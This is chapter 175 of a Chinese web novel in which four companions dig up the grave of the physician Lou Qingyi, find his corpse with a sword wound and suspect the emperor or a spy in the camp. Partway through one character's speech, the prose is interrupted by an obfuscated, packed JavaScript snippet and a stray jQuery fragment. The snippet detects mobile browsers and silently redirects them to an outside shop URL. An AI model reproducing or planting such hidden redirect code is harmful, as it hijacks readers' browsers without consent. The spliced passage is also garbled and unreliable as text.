第一百七十五章再探骆庐掘墓认主(二)
(蔻燎)
“啪”的重剑砸在了泥地上,摔出细碎的土屑,复又跌回地面,归于平静。
付庚重一时半会接受不了,手指一松,剑就滚得肮脏至极,他瞪大眼睛,难以置信地憋着一口气。
木珥瑶小心翼翼捡起利剑抱在怀里,轻轻拍了拍付庚重的肩膀,以示安慰。
柳厢与俞冠楚同样屏住呼吸,不敢相信这是娄清意和娄冬赋死后的坟墓,好半天说不出一句话。
“他怎么就死了呢?”
鬼宿山并不是地震点,按理说被波及的程度不会太严重,这骆庐的模样也不像是震出了什么大毛病,小茅屋看起来完好无损。那,地面上的血迹是从何而来?
院子里没有碎石坠落的痕迹,他真的是死于地震吗?
他真的死了吗?
付庚重拳头一硬,猜测道,“他有假死药,他绝对不会这么轻易就死了。”
娄清意曾经隐姓埋名化作骆弥长留在木逍遥麾下当了十几年的军医,木逍遥一死,就剩付庚重和他打的交道最为长久,若不是相信付庚重,他也不会利用付庚重在百里皓质手里救出非死不可的娄冬赋。
那时他给付庚重留了一瓶假死药,自己也一定还有余存的。
所以,有一半概率他还活着。
俞冠楚面色一凛,沉声,“此事蹊跷,疑点颇多。”
柳厢道,“小鱼言之有理,娄清意虽然不愿交出无悔蛊的解药,对我们避之不及,但是他若想脱离我们的视线,大可直接想办法连夜跑了,倒不必上演这么一出‘假死’的戏码。”
更何况,娄清意还跟自己恨了一辈子的母亲娄冬赋葬在一起,未免奇怪。
付庚重拿过木珥瑶手里的利剑,抽出鞘一横,“是真是假,将这坟包挖开一探,一切自会分明!”
柳俞木三人大吃一惊,细细忖度,又觉有一点道理。
木珥瑶略微犹豫,“逢幸哥哥,你说得没错,可是,倘若他真的死了,你岂不是在掘人坟墓呢?”
说时迟那时快,付庚重向来手脚利索,木珥瑶说话的档口就三下五除二,连踹加劈,扬起一层一层厚土,把娄清意的那座坟地刨了半边坑。
柳厢拔出剪水银练弯刀和御赐玄铁腰刀,丢给俞冠楚一只,两人依着付庚重的速度动作去掏坟包。
忙活了半个时辰,“师父之墓”下方露出一角绯红之物,薄如蝉翼,红得如同地狱里的曼珠沙华。
经过脏兮兮的泥土覆盖许久,有了褪色的迹象。
瞥见熟悉至极的绯色衣袖,付庚重,柳厢,俞冠楚心底都“咯噔”一下,面面相觑,不知所措。
付庚重咬死牙关,下定决心,不撞南墙不回头,“已经到了这一地步,不能半途而废,他决对不会死!我得亲眼目睹下面埋的是什么东西!”
他疯了般以剑掘土,慢慢打薄了绯色衣料上的土块,随后扔了剑,开始用手掌轻手轻脚地去扒拉土屑,渐渐的,他摸到了一冰冷的物体。
若坠冰窟,寒战不止。
心腑猛然刺痛,付庚重吞了口唾沫,当着柳厢与俞冠楚的面儿,拿手指一寸一寸刮干净黏润的泥块,泥块上结了猩红的颜色,灼目伤眼,不能久视。
他拂去最后一抔泥土,在好不容易挖出来的坑口注目望去,如鲠在喉,寒毛倒竖。
那是什么?那是什么?
是半张人脸!
半张娄清意的人脸!
付庚重指天发誓,他和娄清意在军营结识十几年,他敢说他对娄清意的外貌身形了如指掌,必不会有认错丝毫的可能。
土里掩埋的人正是娄清意,是那个阴柔冷淡,傲骨难训,拒人千里,可怜又可悲,可悲又可恨的娄清意。
娄清意化成灰,付庚重也能一瞬认出来。
他死了,他竟真真正正地死了?尸体寒凉,面容煞白,嘴唇发灰,眉宇平静,没有灼热的呼吸。
毫无征兆,突如其来,不给人一丝反应的机会,愣是一榔头敲得在场所有人都窒息半刻。
付庚重手指狂颤,伸手去碰了碰娄清意的头发,脸颊,鼻尖,下颌,触感无一不是彻骨的冷,冷得人喘不过气。
他痛哭流涕,一下子没憋住,放声哭泣,不乏崩溃,“你也死了,你也死了……你是想去追随大将军吗?你为什么要死?为什么一声不吭就死了?娄清意,你明明告诉我你要准备过新的生活,你明明说你想带着你的母亲隐居一辈子,你作什么骗我!你敢骗我!大将军死了,我特别难受,到现在还没缓过劲,你为何还要这般朝我心口捅一刀……娄清意,你个蠢货,你个傻子,你为什么有假死药却不吃?你要逼疯我吗?”
他一面谩骂,一面继续挖土,把余下的娄清意的身体全貌掏了出来,眸光逡巡,认真搜寻上面的蛛丝马迹。
俞冠楚理解付庚重失去挚友的心情,也对娄清意的去世感到匪夷所思,按理说,娄清意当初对峙百里皓质,分明求生欲极为强烈,还不惜利用他威胁百里皓质拖延生存的时间。
因此,娄清意不可能早早摆脱尘世,他大概率是死于他手。
柳厢,俞冠楚的视线投了过去,在娄清意的尸体上凝睇须臾,半晌,柳厢道,“付庚重,你看!娄清意的腹部有剑伤,他是为人所杀!”
此言一出,四人的八颗眼珠子皆挪到了娄清意的肚子上。
娄清意生前喜爱穿绯色纱衣,衣服又被泥土覆盖,显得斑驳污秽,便使衣料上面凝固的血水如同有了障眼法,稍不注意根本发现不了。
俞冠楚道,“在此之前,鬼宿山的骆庐,定是有其他人来过。”
付庚重撩起半边绯衣,看定那不忍直视的三指宽的剑痕,嘴唇一抖,“谁会杀他?是皇上?是皇上要杀他吗?”
扶着付庚重摇摇欲坠的身子,木珥瑶启言道,“不会吧,逢幸哥哥,皇上为何要杀他?皇上又不知道俞尚书的病好了。”
“不一定。”
柳厢道,“或许皇上已经知道小鱼的无悔蛊好了,所以才找机会处理了他的眼中钉,肉中刺。”
沉吟,俞冠楚道,“阿厢,你的意思是,我们之中有人是皇上的眼线?”
“小鱼,如若不是,娄清意为何突然身亡?连跑的机会都没有,戛然丧命。虽然,我也不想他跑,可我还没动手收拾娄清意,却让他人捷足先登,气煞我也!”
“……阿清的一生其实挺苦的,不过我亦能明白皇上的心境,他们二人水火不容,非得你死我活才能平息怒火。如果这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176583|124012||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是皇上的手笔,无可厚非了。”
“小鱼,你何必心疼娄清意?你忘了他给你下无悔蛊折磨了你差不多一年时日?他心狠手辣,无情无义,皇上是在为你报仇啊。”
“阿厢莫气,我不说这些了。”俞冠楚感慨万千,不愿提及被娄清意下毒的痛苦过往,挑了话头道,“既然娄清意已死,那么他旁边的‘阿娘之墓’也真的是娄冬赋的埋骨之地了?”
付庚重凝眉,缓缓叹气道,“嗯,倘若这两座简陋的坟墓乃娄清意的小徒弟所塑,那‘阿娘’也大抵是死透了。”
柳厢道,“要掘开看看吗?”
“不了。”
付庚重精疲力尽,躲避那惨无人色的娄清意的尸体,闭了闭眼,悲戚道,“我明白了,我明白了。”
“逢幸哥哥,你明白什么了?”木珥瑶握住付庚重满是血泥的手掌,眼眶饱含热泪,盈盈细语。
“我明白了,娄清意他何以不吃假死药,死得惨不忍睹。第一,因为他没想到自己会突然死,第二,他不舍得废弃可以护身的武功,那是大将军教给他的。第三,娄冬赋必然死在他前头,娄冬赋一死,他也觉得活着没意思,没有能泄怒的对象。他本来打算后半辈子一直折辱那抛弃他的娄冬赋,以此作为活下去的动力。可惜,有人来杀他们,娄冬赋身负重伤,无法苟活。”
“更何况,娄冬赋在百里京的皇宫死里逃生,就吃过一次假死药,她再吃一次也无用。娄清意知道娄冬赋活不成了,便觉得自己活着累极了,主动放弃止血自救。”付庚重揉按着颦蹙的硬眉,将心房的猜测全盘托出,无保无留。
听罢此话,柳厢表示同意,接口道,“有道理,付庚重,果然还是你更了解他。上一次来骆庐,娄清意对娄冬赋的态度冷嘲热讽,夹枪带棒,但还是愿意亲手喂其喝茶……我觉得,他从小到大都渴望得到一份母爱,一份不掺杂任何杂质脏物的母爱。奈何天意戏弄,母子俩儿二十七年多的分别,早已离心,永不可敞开心扉走近彼此,越是捆绑在一起,越是推得对方愈加遥远,抓握不住。”
点点头,付庚重沉沉吐一口气,闭嘴不语。
“师父之墓”被挖了个底朝天,乱石烂泥堆积成山,颇有凶杀案现场的感觉。
四人心念对不住,一一去骆庐找了几只大簸箕,翻动泥土将娄清意暴露在外的尸身埋好,用碎石把两座坟包垒得整齐有序,插稳木牌。
付庚重感叹,“或许埋葬在此,比在喧嚣城郭好一些,这里是他自己选择的家,他应该会喜欢的。”
他道,“骆弥长,娄清意,我以后有时间会来看你的,对不起,方才不是故意挖你的小坟包的。”
“师父之墓”前刮了一卷小微风,似乎在回应。
收拾完毕,四人在泉水边洗净了手,陷入一阵默然。
俞冠楚打破寂静,“娄清意之死,须得查一查。”
“小鱼,你有何方向?”柳厢道。
“军营,螺髻山地的军营之内,不出意外能找到幕后凶手。”
“好,小鱼,我们回军营想办法揪出那个人,能一举杀死两位娄姓之人,不可谓是一位武力精绝的高手。”
付庚重洗干净自己的利剑,斜插进鞘,冷冷道,“不必猜来猜去,我知道那人具体是谁。”